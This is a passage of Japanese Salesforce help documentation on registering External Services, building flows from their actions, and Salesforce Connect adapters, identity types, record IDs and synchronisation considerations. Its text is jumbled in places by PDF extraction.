• 登録しているサービスの Interagent ハイパースキーマ JSON エンドポイント情
報があることを確認します。

1. [設定] から、[クイック検索] ボックスに「インテグレーション (ベータ)」と
入力し、[インテグレーション] を選択します。

2. [新規外部サービスを登録] をクリックします。
3. サービスを登録するには、画面下部にある [次へ] をクリックします。
4. サービスの名前と説明 (省略可能) を入力します。
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5. スキーマの URL パス (エンドポイント) または完全なスキーマを入力する。
スキーマの URL パスを入力する場合は、「/」で始めて相対パスにする必要があります。たとえ
ば、/accountSchema.jsonのように指定します。スキーマを指定する場合は、完全なスキーマで JSON に
準拠している必要があります。

6. [保存] をクリックします。
7. 既存の指定ログイン情報を選択し、[保存] をクリックします。Apex アクションは Apex アクションページに

表示されます。

8. フローを作成するには、[次へ] をクリックします。

関連トピック:

外部サービス (ベータ)

指定ログイン情報の定義
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外部サービスのフローの作成

エディション

使用可能なエディション:
Lightning Experience

外部サービスを使用可能
なエディション:
[Enterprise] Edition、
[Performance] Edition、
[Unlimited] Edition、および
[Developer] Edition

フローを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Salesforce 以外のサービスのデータを使用して、反復可能な Salesforce アクション
をフローで実行します。コードを記述することなくフローを作成し、登録済み
外部サービススキーマから生成されるアクションをトリガできます。
外部サービスフローを作成する前に、動作するスキーマがあってサービスが登
録されていることを確認してください。スキーマで提供される情報に基づいて、
フローにアクションを使用できます。
1. [設定] から、[クイック検索] ボックスに「フロー」と入力し、[フロー]を選択

します。
2. [新規フロー] をクリックし、Flow Designer を開きます。

例: 信用度サービスのフローを作成するとします。サービスが特定のアカ
ウントにアクセスするようにレコード検索ステップを含めます。また、信
用度の評価とその評価結果でアカウントを更新するステップを含めること
もできます。フローは次のようになります。
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フローが正常に完了すると、関連するアカウントと注文レコードが更新されます。

関連トピック:

外部サービス (ベータ)

フローの作成

Salesforce Connect を使用した外部データへのアクセス
Salesforce Connect を使用すると、ユーザは Salesforce 組織外に保存されているデータを表示、検索、変更できま
す。標準オブジェクトまたはカスタムオブジェクトにデータをコピーする代わりに、外部オブジェクトを使用
して、Web サービスコールアウトでリアルタイムにデータにアクセスできます。

Salesforce Connect

Salesforce Connect では、ユーザが Salesforce 組織外に保存されているデータを表示、検索、および変更できる
ようにすることで、システムの境界を越えてデータをシームレスに統合できます。たとえば、社内の統合
業務ソフト (ERP) システムに保存されているデータがあるとします。組織にデータをコピーする代わりに、
外部オブジェクトを使用して、Web サービスコールアウトでリアルタイムにデータにアクセスできます。
Salesforce Connect — すべてのアダプタの考慮事項
Salesforce Connect の一部の動作は特殊であり、制限があります。
Salesforce Connect の組織間アダプタを使用した別の Salesforce 組織のデータへのアクセス
別の Salesforce 組織に保存されているデータにユーザがアクセスできるようにします。
Salesforce Connect の OData 2.0 または 4.0 アダプタを使用した外部データへのアクセス
Open Data Protocol を介して公開されているデータにユーザがアクセスできるようにします。
Salesforce Connect のカスタムアダプタを使用した外部データへのアクセス
Apex コネクタフレームワークでカスタムアダプタを作成することにより、ユーザがどこにあるどのような
データにも接続できるようにします。

Salesforce Connect

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Salesforce Connectでは、ユーザがSalesforce組織外に保存されているデータを表示、
検索、および変更できるようにすることで、システムの境界を越えてデータを
シームレスに統合できます。たとえば、社内の統合業務ソフト (ERP) システムに
保存されているデータがあるとします。組織にデータをコピーする代わりに、
外部オブジェクトを使用して、Web サービスコールアウトでリアルタイムにデー
タにアクセスできます。
これまでは、Salesforce 組織にデータをインポートまたはコピーしてユーザがそ
のデータにアクセスできるようにすることが推奨されていました。たとえば、
抽出、加工、読み込み (ETL) ツールを使用すると、サードパーティシステムを
Salesforce と統合できます。しかし、その方法では不要なデータやすぐに古くな
るデータが組織にコピーされてしまいます。
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これに対し、Salesforce Connect では Salesforce 外部オブジェクトを外部システムのデータテーブルに対応付けま
す。組織にデータをコピーする代わりに、Salesforce Connect は必要なときにリアルタイムでデータにアクセス
します。データは決して古くならず、必要なデータにのみアクセスします。Salesforce Connect は次のような場
合に使用することをお勧めします。
• 大量のデータがあり、Salesforce 組織にコピーしたくない。
• 常に少量のデータが必要である。
• 最新データにリアルタイムでアクセスする必要がある。
データが組織外に保存されていても、Salesforce Connect は Force.com プラットフォームとのシームレスなインテ
グレーションを提供します。外部オブジェクトは、グローバル検索、参照関係、レコードフィード、Salesforce1

アプリケーションなどの Salesforce ツールで使用できます。外部オブジェクトはまた、Apex、SOSL、SOQL クエ
リ、Salesforce API、およびメタデータ API、変更セット、パッケージを介したリリースでも使用できます。
たとえば、商品の注文情報をバックオフィスの ERP システムに保存しているとします。それらの注文を、Salesforce

組織の顧客レコードごとに関連リストとして表示する必要があります。Salesforce Connect では、顧客オブジェ
クト(親) と外部オブジェクト (子) 間に注文の参照関係を設定できます。次に、子レコードを表示する関連リス
トが含まれるように、親オブジェクトのページレイアウトを設定できます。
さらに、顧客レコードの関連リストから直接注文を更新することもできます。デフォルトでは、外部オブジェ
クトレコードは参照のみです。ただし、書き込み可能な外部オブジェクトを有効にするように外部データソー
スを定義できます。
外部オブジェクトレコードに対するApex DML の書き込み操作の使用については、『Force.com Apexコード開発者
ガイド』を参照してください。

例: 次のスクリーンショットに、Salesforce Connectでシステムの境界を越えてデータをシームレスに表示す
る方法を示します。Business_Partner 外部オブジェクトのレコード詳細ページには、子オブジェクトの 2 つ
の関連リストが表示されます。外部参照関係とページレイアウトにより、ユーザは Salesforce 組織内外に
ある関連データを 1 つのページに表示できます。
• Account 標準オブジェクト (1)

• Sales_Order 外部オブジェクト (2)
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Salesforce Connect のアダプタ
Salesforce Connect では、プロトコル固有のアダプタを使用して外部システムに接続し、そのデータにアクセ
スします。組織に外部データソースを定義するとき、[種別] 項目にアダプタを指定します。
外部データソースの ID 種別
外部データソースでは、[ID 種別] 項目で、組織が外部システムへのアクセスに使用するログイン情報が
1 セットか、複数セットかを指定します。ログイン情報の各セットが外部システムのログインアカウントに
対応します。
Salesforce Connect 外部オブジェクトのレコード ID

外部システムからデータ行を初めて取得すると、外部オブジェクトレコードに Salesforce ID が割り当てられ
ます。外部オブジェクトを組織から削除しない限り、各レコード ID は同じ外部データ行に関連付けられた
ままになります。

関連トピック:

外部オブジェクトリレーション
Salesforce Connect — すべてのアダプタの考慮事項
組織間アダプタで別の組織のデータにアクセスするための Salesforce Connect の設定
外部データにアクセスするための Salesforce Connect の設定 (OData 2.0 または 4.0 アダプタを使用)

Salesforce Connect によるカスタムアダプタを使用した外部データへのアクセスの設定

6357

Salesforce Connect を使用した外部データへのアクセスコードではなくてクリックによる Salesforce の拡張



Salesforce Connect のアダプタ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Salesforce Connect では、プロトコル固有のアダプタを使用して外部システムに接
続し、そのデータにアクセスします。組織に外部データソースを定義するとき、
[種別] 項目にアダプタを指定します。
次のアダプタを Salesforce Connect で使用できます。

コールアウト制限がわかる場所説明Salesforce
Connect
アダプタ

コールアウト制限はありません。
ただし、コールアウトするたび
にプロバイダ組織の API 使用制限
にカウントされます。
Salesforce ヘルプ: Salesforce Connect

— 組織間アダプタのAPI使用に関
する考慮事項

Force.com REST API を使用して他の
Salesforce 組織に保存されている
データにアクセスします。

組織間

Salesforce の制限クイックリファレ
ンスガイド: API 要求の制限

Salesforce ヘルプ: Salesforce Connect

— OData 2.0 および 4.0 アダプタの
一般的な制限

Open Data Protocol を使用して
Salesforce 外に保存されているデー
タにアクセスします。外部デー
タは、OData プロデューサ経由で
公開されている必要があります。

OData 2.0

OData 4.0
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コールアウト制限がわかる場所説明Salesforce
Connect アダ
プタ

Apex 開発者ガイド: コールアウトの制限事項
Apex 開発者ガイド: 実行ガバナと制限

利用可能な他のアダプタがニーズに適さない
場合は、Apex Connector Frameworkを使用して独
自のカスタムアダプタを開発できます。
カスタムアダプタは、どこからでもデータを
取得できます。たとえば、コールアウトを介

Apex で作成さ
れたカスタム
アダプタ

してインターネットのどこからでも取得でき
るデータや、プログラムで操作や生成さえで
きるデータもあります。

関連トピック:

Salesforce Connect

Salesforce Connect の OData 2.0 または 4.0 アダプタ
Salesforce Connect の組織間アダプタ
Salesforce Connect のカスタムアダプタ

外部データソースの ID 種別

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

外部データソースでは、[ID 種別] 項目で、組織が外部システムへのアクセス
に使用するログイン情報が 1 セットか、複数セットかを指定します。ログイン
情報の各セットが外部システムのログインアカウントに対応します。
[指定ユーザ]を選択した場合、組織は外部システムで 1 つのログインアカウント
のみを使用します。
[ユーザ]を選択した場合、組織は外部システムで複数のログインアカウントを使
用します。ユーザごとに固有のログイン情報セットを設定するか、ユーザを職
務別または事業単位別などでグループ化してグループごとにログイン情報セッ
トを共有することができます。権限セットまたはプロファイルを使用してユー
ザに外部データソースへのアクセス権を付与したら、ユーザは独自に外部シス
テムの認証設定を行って管理できます。

ヒント: ユーザに、外部システムの認証を設定する方法のトレーニングを
実施します。ユーザが、外部システムごとにどのログイン情報を入力すれ
ばよいか把握したことを確認します。OAuth 2.0 を使用している場合、OAuth

フローに紛らわしいプロンプトやリダイレクトがないかテストし、必要に
応じてユーザにトレーニングを実施します。OAuth フローは、外部システ
ム、認証プロバイダ、指定された範囲によって異なります。
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ID 種別がユーザID 種別が指定ユーザ

システムが使用するログイン情報の定義場所外部システムへのアクセス方法

外部システム用のユーザの個人認
証設定

外部データソース定義データ
(外部オブジェクトの検索または表
示)

外部データソース定義外部データソース定義メタデータ
(同期により外部オブジェクトを作
成)

関連トピック:

Salesforce Connect — 組織間アダプタの外部データソースの定義
Salesforce Connect — OData 2.0 または 4.0 アダプタの外部データソースの定義
Salesforce Connect — カスタムアダプタの外部データソースの定義
外部データソースの認証設定へのアクセス権の付与
外部システムの認証設定の保存

Salesforce Connect 外部オブジェクトのレコード ID

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

外部システムからデータ行を初めて取得すると、外部オブジェクトレコードに
Salesforce ID が割り当てられます。外部オブジェクトを組織から削除しない限り、
各レコード ID は同じ外部データ行に関連付けられたままになります。

メモ: Salesforce ID は、大量データの外部データソースに関連付けられた外部
オブジェクトレコードには割り当てられません。

関連トピック:

Salesforce Connect — 組織間アダプタの外部オブジェクトのレコード ID および
外部 ID

Salesforce Connect
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Salesforce Connect — すべてのアダプタの考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Salesforce Connect の一部の動作は特殊であり、制限があります。
使用する各 Salesforce Connect アダプタに関する考慮事項も参照してください。

Salesforce Connect — すべてのアダプタの Salesforce の互換性に関する考慮事項
一部のSalesforce機能は、動作が特殊であるか、Salesforce Connect外部オブジェ
クトには使用できません。
Salesforce Connect — すべてのアダプタの同期に関する考慮事項
外部データソースを検証および同期する場合、一部の動作は特殊であり、制
限があります。
Salesforce Connect — すべてのアダプタのリレーションに関する考慮事項
参照、外部参照、間接参照のリレーションの一部の動作は特殊であり、制限
があります。
Salesforce Connect — すべてのアダプタのレポートに関する考慮事項
外部オブジェクトを含むレポートには特殊な動作と制限が適用されます。
Salesforce Connect — すべてのアダプタのレコードフィードに関する考慮事項
外部オブジェクトの Chatter フィードの一部の動作は特殊であり、制限があります。
Salesforce Connect — すべてのアダプタの API クエリに関する考慮事項
外部データに対する queryAll() および queryMore() コールには特殊な動作と制限が適用されます。
Salesforce Connect — すべてのアダプタの検索に関する考慮事項
一部の特殊な動作および制限は、外部オブジェクトの検索に影響します。
Salesforce Connect — すべてのアダプタの SOSL に関する考慮事項
一部の特殊な動作および制限は、外部データへの SOSL アクセスに影響します。
Salesforce Connect — すべてのアダプタの SOQL に関する考慮事項
一部の特殊な動作および制限は、外部データへの SOQL アクセスに影響します。
Salesforce Connect — すべてのアダプタの書き込み可能な外部オブジェクトに関する考慮事項
Salesforce Connect を使用して Salesforce 組織外に保存されるデータを作成、更新、および削除する場合の制限
と考慮事項について理解します。
Salesforce Connect — すべてのアダプタのパッケージに関する考慮事項
一部の特殊な動作および制限は、外部データソースのパッケージと、それに依存する外部オブジェクトお
よびカスタム項目に影響します。
Salesforce Connect — すべてのアダプタの Lightning Experience に関する考慮事項
ユーザは Lightning Experience アプリケーションから外部オブジェクトにアクセスできますが、いくつかの要
件と特殊な動作が適用されます。
Salesforce Connect — すべてのアダプタの Salesforce1 に関する考慮事項
ユーザは外部オブジェクトをSalesforce1アプリケーションから表示および検索できますが、一部の動作は特
殊であり、制限があります。
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Salesforce Connect — すべてのアダプタのコンソールに関する考慮事項
ユーザは Salesforce Classic の Salesforce コンソールから外部オブジェクトにアクセスできますが、いくつかの
要件と制限が適用されます。
Salesforce Connect — すべてのアダプタのコミュニティに関する考慮事項
ユーザはコミュニティから外部オブジェクトにアクセスできますが、いくつかの要件と制限が適用されま
す。
Salesforce Connect — すべてのアダプタの一般的な制限
Salesforce Connect を使用する場合の制限について理解します。

関連トピック:

Salesforce Connect — 組織間アダプタに関する考慮事項
Salesforce Connect — OData 2.0 および 4.0 アダプタに関する考慮事項
Salesforce Connect — カスタムアダプタの考慮事項

Salesforce Connect — すべてのアダプタの Salesforce の互換性に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

一部の Salesforce 機能は、動作が特殊であるか、Salesforce Connect 外部オブジェク
トには使用できません。
• 次の機能は、外部オブジェクトでは使用できません。

– 活動、行動、および ToDo

– Apex 共有の理由
– Apex トリガ
– 承認プロセス
– 添付ファイル
– 項目履歴管理
– フロー (Visual Workflow)

– グローバル選択リスト値セット
– 差し込み項目
– メモ
– プロセス (プロセスビルダー)

– レコードレベルセキュリティ (共有)

– レコードタイプ
– スキーマビルダー
– 入力規則
– ワークフロールール

• 数式項目および積み上げ集計項目では、外部オブジェクトの項目を参照できません。
• 次のカスタム項目のデータ型は、外部オブジェクトでは使用できません。

– 自動採番 (Salesforce Connect の組織間アダプタでのみ使用可能)
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– 通貨
– 数式
– Geolocation

– 主従関係
– 選択リスト (Salesforce Connect の組織間アダプタでのみ使用可能)

– 選択リスト (複数選択)

– 積み上げ集計
– テキスト (暗号化)

– テキストエリア (リッチ)

• 次の動作は、外部オブジェクトの項目に適用されます。
– デフォルト項目値は、外部オブジェクトのカスタム項目では使用できません。
– 外部オブジェクト項目値は、先頭と末尾の空白なしで表示されます。先頭と末尾の空白が含まれる項目

を絞り込む場合は、この動作に留意してください。
たとえば、次の SOQL クエリでは先頭と末尾の空白を含め、外部システムに保存されている値と照合し
ます。ただし、空白はクエリ結果には表示されません。
SELECT FirstName__c FROM Buyers__x WHERE FirstName__c = ' Test '

– ユーザまたはForce.comプラットフォームが外部オブジェクトレコードのカスタム項目を編集すると、項
目値から先頭と末尾の空白が削除されます。

– 外部オブジェクトのテキスト項目の場合、外部値を含めるのに十分な長さが指定されていることを確認
してください。外部システムの値が外部オブジェクトの関連テキスト項目の長さに収まらない場合は、
Salesforce 組織で値が切り捨てられます。テキスト項目の値を切り捨てないようにするには、外部オブ
ジェクトのテキスト項目の長さを増やします。

– 外部オブジェクトの数値項目では、外部値の小数点の左側にあるすべての桁数を含めるのに十分な長さ
が指定されていることを確認してください。外部システムの数値が外部オブジェクトの関連数値項目の
長さに収まらない場合、Salesforce組織では値が空白になります。数値項目の値が空白の場合は、外部オ
ブジェクトの数値項目の [桁数]と [小数部の桁数]を調整して、小数点の左側の桁数を増やします。外
部値の小数点の右側にある桁数が、指定された小数点以下の桁数に収まらない場合は、値が切り捨てら
れます。

• 変更セットでは、外部オブジェクトはカスタムオブジェクトコンポーネントに含まれます。
• メタデータ API では、外部オブジェクトは CustomObject メタデータ型で表されます。
使用する各 Salesforce Connect アダプタに関する考慮事項も参照してください。
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Salesforce Connect — 組織間アダプタの Salesforce 互換性に関する考慮事項
一部の Salesforce 機能は、動作が特殊であるか、Salesforce Connect: Cross-Org 型の外部データソー
スに関連付けられた外部オブジェクトには使用できません。

関連トピック:

Salesforce Connect

Salesforce Connect — すべてのアダプタの考慮事項
Salesforce Connect — 組織間アダプタの API 使用に関する考慮事項
Salesforce Connect — カスタムアダプタでの Apex の考慮事項

Salesforce Connect — 組織間アダプタの Salesforce 互換性に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

一部の Salesforce 機能は、動作が特殊であるか、Salesforce Connect:

Cross-Org型の外部データソースに関連付けられた外部オブジェクトには使用
できません。
• Salesforce Connect の組織間アダプタは、プロバイダ組織のクエリ可能なオブ

ジェクトにのみアクセスできます。クエリできないオブジェクトをテーブル
名で指定する外部オブジェクトを定義した場合、ユーザおよび Force.com プ
ラットフォームはその外部オブジェクトにアクセスできません。

すべての Salesforce Connect アダプタに適用される考慮事項も確認してください。

関連トピック:

Salesforce Connect — すべてのアダプタの Salesforce の互換性に関する考慮事項
Salesforce Connect の組織間アダプタ

Salesforce Connect — すべてのアダプタの同期に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

外部データソースを検証および同期する場合、一部の動作は特殊であり、制限
があります。
• 同期を行うと、外部システムのスキーマに対応付けられたSalesforce外部オブ

ジェクトが作成または上書きされます。同期では、データはSalesforce組織に
コピーされず、組織から外部システムにも書き込まれません。

• 各組織は、最大 200 個の外部オブジェクトを設定できます。外部オブジェク
トは、カスタムオブジェクトの制限でカウントされません。同期によって組
織で 200 個の外部オブジェクトを超える場合は、同期に失敗します。

• オブジェクト名は、組織の標準オブジェクト、カスタムオブジェクト、外部
オブジェクト全体で一意である必要があります。組織の既存のオブジェクト
と API 名が競合する外部オブジェクトを作成しようとすると、同期に失敗し
ます。この理由で同期に失敗した場合は、既存のオブジェクトが必要かどう
かを判断してください。必要ではない場合は、そのオブジェクトを削除して
から同期します。
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オブジェクトが必要な場合、同期しようとするテーブルと競合しないように、既存のオブジェクトの API 名
を変更します。ただし、既存のオブジェクトが以前同期された外部オブジェクトの場合、再同期はできま
せん。外部システムでスキーマが変更された場合は、必要に応じて、外部オブジェクトとその項目を手動
で更新します。

ヒント: 外部データソースと外部オブジェクトを Developer Edition 組織に作成することをお勧めします。
作成後、管理パッケージを使用して外部データソースと外部オブジェクトを他の組織にリリースしま
す。これにより、名前空間プレフィックスが適用され、組織内で外部オブジェクト名と他のオブジェ
クトとの競合が回避されます。

• 同期は 1 回のみのプロセスです。外部システムのスキーマが変更されても、変更内容は自動的に Salesforce

組織と同期されません。オブジェクトをもう一度同期して、変更内容を外部システムに反映します。
• 同期で作成された各外部オブジェクトでは、[リリース状況] が [開発中] に設定されます。外部オブジェク

トをユーザに公開する準備ができたら、[リリース状況] を [リリース済み] に設定します。外部オブジェク
トを再同期しても、リリース状況は変更されません。

• 外部オブジェクトを再同期すると、次のようになります。
– [表示 URL の参照項目] が [なし] に設定される。
– カスタム項目に [名前項目] 属性がある場合、その属性が削除される。[外部 ID] 標準項目が、外部オ

ブジェクトの名前項目として使用される。
• 同期によって Salesforce 組織の外部オブジェクトにリレーション項目が作成されることはありません。ただ

し、同期で作成されたカスタム項目のデータ型を参照関係、外部参照関係、または間接参照関係に変更で
きます。既存のカスタム項目のデータ型を変更する方が、手動で外部オブジェクトにリレーション項目を
作成するよりも簡単で効率的です。
たとえば、外部システムに外部キーリレーションがあるとします。関連テーブルを同期すると、外部キー
を識別する外部列用のテキスト項目が組織に作成されます。組織内の外部キーリレーションを反映するに
は、そのテキスト項目のデータ型を外部参照関係に変更します。

• リレーション項目は、カスタム項目の一種です。そのため、外部オブジェクトのすべてのカスタム項目と
同様に、リレーション項目は、外部オブジェクトの同期時に上書きできます。使用する各 Salesforce Connect

アダプタの同期に関する考慮事項を参照してください。
• 外部オブジェクトのテキスト項目の場合、外部値を含めるのに十分な長さが指定されていることを確認し

てください。外部システムの値が外部オブジェクトの関連テキスト項目の長さに収まらない場合は、Salesforce

組織で値が切り捨てられます。テキスト項目の値を切り捨てないようにするには、外部オブジェクトのテ
キスト項目の長さを増やします。

• 外部オブジェクトの数値項目では、外部値の小数点の左側にあるすべての桁数を含めるのに十分な長さが
指定されていることを確認してください。外部システムの数値が外部オブジェクトの関連数値項目の長さ
に収まらない場合、Salesforce 組織では値が空白になります。数値項目の値が空白の場合は、外部オブジェ
クトの数値項目の [桁数] と [小数部の桁数] を調整して、小数点の左側の桁数を増やします。外部値の小
数点の右側にある桁数が、指定された小数点以下の桁数に収まらない場合は、値が切り捨てられます。

使用する各 Salesforce Connect アダプタに関する考慮事項も参照してください。
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Salesforce Connect — 組織間アダプタの同期に関する考慮事項
Salesforce Connect: Cross-Org 型の外部データソースを検証および同期する場合、一部の動作は特
殊であり、制限があります。
Salesforce Connect — OData 2.0 または 4.0 アダプタの同期に関する考慮事項
Salesforce Connect: OData 2.0 または Salesforce Connect: OData 4.0 型の外部データソース
を検証および同期する場合、一部の動作は特殊であり、制限があります。
Salesforce Connect — カスタムアダプタの同期に関する考慮事項
Salesforce Connect: Custom 型の外部データソースを検証および同期する場合、一部の動作は特殊で
あり、制限があります。

関連トピック:

Salesforce Connect

Salesforce Connect — すべてのアダプタの考慮事項
カスタムオブジェクトおよび外部オブジェクトのリリース状況

Salesforce Connect — 組織間アダプタの同期に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Salesforce Connect: Cross-Org 型の外部データソースを検証および同期
する場合、一部の動作は特殊であり、制限があります。
• 同期が可能なオブジェクトと項目は、外部データソース定義でログイン情報

が定義されているプロバイダ組織のユーザのオブジェクト権限と項目権限に
よって決まります。「Salesforce Connect — 組織間アダプタの外部データへの
ユーザアクセス」 (ページ 6397)を参照してください。

• 同期できるのはクエリ可能なオブジェクトのみです。
• API 名が 38 文字を超えるオブジェクトは同期できません。外部オブジェクト

の名前は、自動的に追加される __x サフィックスを含めて40 文字以下にす
る必要があります。「Salesforce Connect — 組織間アダプタの外部オブジェクト
およびカスタム項目の API 名」 (ページ 6395)を参照してください。

• 次の項目種別は同期できません。
– 暗号化されたテキスト
– リッチテキストエリア

• ユーザが外部オブジェクトレコードを編集しているときに通貨を変更できるようにするには、[通貨]項目
をページレイアウトに追加します。同期された、その他すべての項目は、デフォルトページレイアウトに
自動的に追加されます。

• 外部データソースの検索が有効になっていると、同期によって常に外部オブジェクトの検索が有効になり
ます (その逆もあります)。

• 階層、参照、主従関係項目は同期されます。ただし、登録者組織ではテキスト項目になり、その値はレコー
ド名としてではなく、ID として表示されます。
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たとえば、取引先オブジェクトを同期するとします。プロバイダ組織で Acme Wireless 取引先を参照した場
合、[取引先所有者] (Account.OwnerId) 項目の値は「John Smith」と表示されます。登録者組織で同等の取
引先を参照した場合、(Account__x.OwnerId__c) 項目の値は「005B00000019eapIAA」と表示されます。

• 登録者組織で外部参照関係を使用し、プロバイダ組織の参照関係を反映できます。登録者組織に取り込む
参照関係ごとに、親オブジェクトと子オブジェクトを同期してください。各参照関係項目は、登録者組織
でテキスト項目になります。同期で作成されたテキスト項目のデータ型は、外部参照関係に変更してくだ
さい。外部参照関係の親を指定するとき、プロバイダ組織の親オブジェクトに対応する外部オブジェクト
を選択します。

• 登録者組織で同期された項目の名前と表示ラベルは、プロバイダ組織の項目の表示ラベル名ではなく API 名
から取得されます。たとえば、プロバイダ組織の取引先オブジェクトに [取引先所有者] (OwnerId) 標準項
目があるとします。取引先オブジェクトを同期すると、登録者組織の Account__x.OwnerId__c項目の表
示ラベルは「Owner ID」、名前は「OwnerId」となります。

重要: 同期するプロバイダ組織オブジェクトを選択するとき、[同期済み] 列にチェックマークが表示され
るかどうかを確認します。
[同期済み]チェックマークが表示される場合は、オブジェクト名 (Account__xなど) がプロバイダ組織の
オブジェクト (Account など) と関連付けられている外部オブジェクトが登録者組織に存在します。オブ
ジェクトを選択して [同期] をクリックすると、次の処理が行われます。
• 外部オブジェクトが上書きされます。
• 外部オブジェクトのカスタム項目の API 名 (Email_c__c など) がプロバイダ組織の項目 (Email__c な

ど) と関連付けられている場合は、そのカスタム項目が上書きされます。
• 外部オブジェクトの次を含むその他のカスタム項目は、そのままになります。

– 以前に同期され、API 名が [項目名] 値の編集によって変更されたカスタム項目。
– 手動で追加された、API 名がプロバイダ組織のオブジェクトの項目と関連付けられていないカスタ

ム項目。

[同期済み]チェックマークが表示されない場合にオブジェクトを同期すると、新しい外部オブジェクトが
登録者組織に作成されます。
たとえば、オブジェクト名がプロバイダ組織で変更され、登録者組織の外部オブジェクトのオブジェク
ト名に関連付けられなくなったとします。そのオブジェクトを同期すると、登録者組織で新しい外部オ
ブジェクトが作成されます。オブジェクトを同期する前に、プロバイダ組織で更新されたオブジェクト
名と一致するように既存の外部オブジェクトのオブジェクト名を変更することをお勧めします。

すべての Salesforce Connect アダプタに適用される考慮事項も確認してください。

関連トピック:

Salesforce Connect — 組織間アダプタの外部オブジェクトおよびカスタム項目の API 名
Salesforce Connect — 組織間アダプタの登録者組織とプロバイダ組織
Salesforce Connect — すべてのアダプタの同期に関する考慮事項
Salesforce Connect の組織間アダプタ
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Salesforce Connect — OData 2.0 または 4.0 アダプタの同期に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Salesforce Connect: OData 2.0 または Salesforce Connect: OData

4.0 型の外部データソースを検証および同期する場合、一部の動作は特殊であ
り、制限があります。
• 外部データソースの検索が有効になっていると、同期によって常に外部オブ

ジェクトの検索が有効になります (その逆もあります)。
• サポートされている OData のデータ型の一覧は、Salesforceヘルプの「OData の

データ型の対応付け」を参照してください。

重要: 同期するテーブルを選択するとき、[同期済み]列にチェックマークが
表示されるかどうかを決定します。
[同期済み] チェックマークが表示される場合は、オブジェクト名がテーブ
ル名と一致する外部オブジェクトが組織に存在します。テーブルを選択し
て [同期] をクリックすると、次のいずれかが実行されます。
• 外部オブジェクトが上書きされます。
• 外部オブジェクトのカスタム項目の API 名 (Email__c など) がテーブル

列名 (Emailなど) と関連付けられている場合は、そのカスタム項目が上
書きされます。

• 外部オブジェクトの次を含むその他のカスタム項目は、そのままになり
ます。
– 以前に同期され、API 名が [項目名] 値の編集によって変更されたカ

スタム項目。
– 手動で追加された、API 名がテーブル列名と関連付けられていないカ

スタム項目。

[同期済み] チェックマークが表示されない場合にテーブルを同期すると、
新しい外部オブジェクトが組織に作成されます。新しい外部オブジェクト
のオブジェクト名は、テーブル名と一致します。
たとえば、外部システムでテーブル名を変更すると、外部オブジェクトの
名前と一致しなくなり、そのテーブルを同期すると、新しい外部オブジェ
クトが Salesforce で作成されます。テーブルを同期する前に、外部システム
の新しいテーブル名と一致するように既存の外部オブジェクトの名前を変
更することをお勧めします。

すべての Salesforce Connect アダプタに適用される考慮事項も確認してください。

関連トピック:

Salesforce Connect — すべてのアダプタの同期に関する考慮事項
Salesforce Connect — OData 2.0 または 4.0 アダプタの外部データソースの定義
Salesforce Connect の OData 2.0 または 4.0 アダプタ
OData のデータ型の対応付け
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Salesforce Connect — カスタムアダプタの同期に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Salesforce Connect: Custom 型の外部データソースを検証および同期する
場合、一部の動作は特殊であり、制限があります。
• 外部データソースの検索が有効になっていると、同期によって常に外部オブ

ジェクトの検索が有効になります (その逆もあります)。Salesforce Connect: カス
タム型の外部データソースの場合、カスタムアダプタの
DataSource.Provider クラスで DataSource.Capability.SEARCH 機能
を宣言すると、検索が有効になります。

重要: 同期するテーブルを選択するとき、[同期済み]列にチェックマークが
表示されるかどうかを決定します。
[同期済み] チェックマークが表示される場合は、オブジェクト名がテーブ
ル名と一致する外部オブジェクトが組織に存在します。テーブルを選択し
て [同期] をクリックすると、次のいずれかが実行されます。
• 外部オブジェクトが上書きされます。
• 外部オブジェクトのカスタム項目の API 名 (Email__c など) がテーブル

列名 (Emailなど) と関連付けられている場合は、そのカスタム項目が上
書きされます。

• 外部オブジェクトの次を含むその他のカスタム項目は、そのままになり
ます。
– 以前に同期され、API 名が [項目名] 値の編集によって変更されたカ

スタム項目。
– 手動で追加された、API 名がテーブル列名と関連付けられていないカ

スタム項目。

• 外部データソースの検索が有効になっていると、同期によって常に外部
オブジェクトの検索が有効になります (その逆もあります)。Salesforce

Connect: カスタム型の外部データソースの場合、カスタムアダプタの
DataSource.Provider クラスで DataSource.Capability.SEARCH

機能を宣言すると、検索が有効になります。
[同期済み] チェックマークが表示されない場合にテーブルを同期すると、
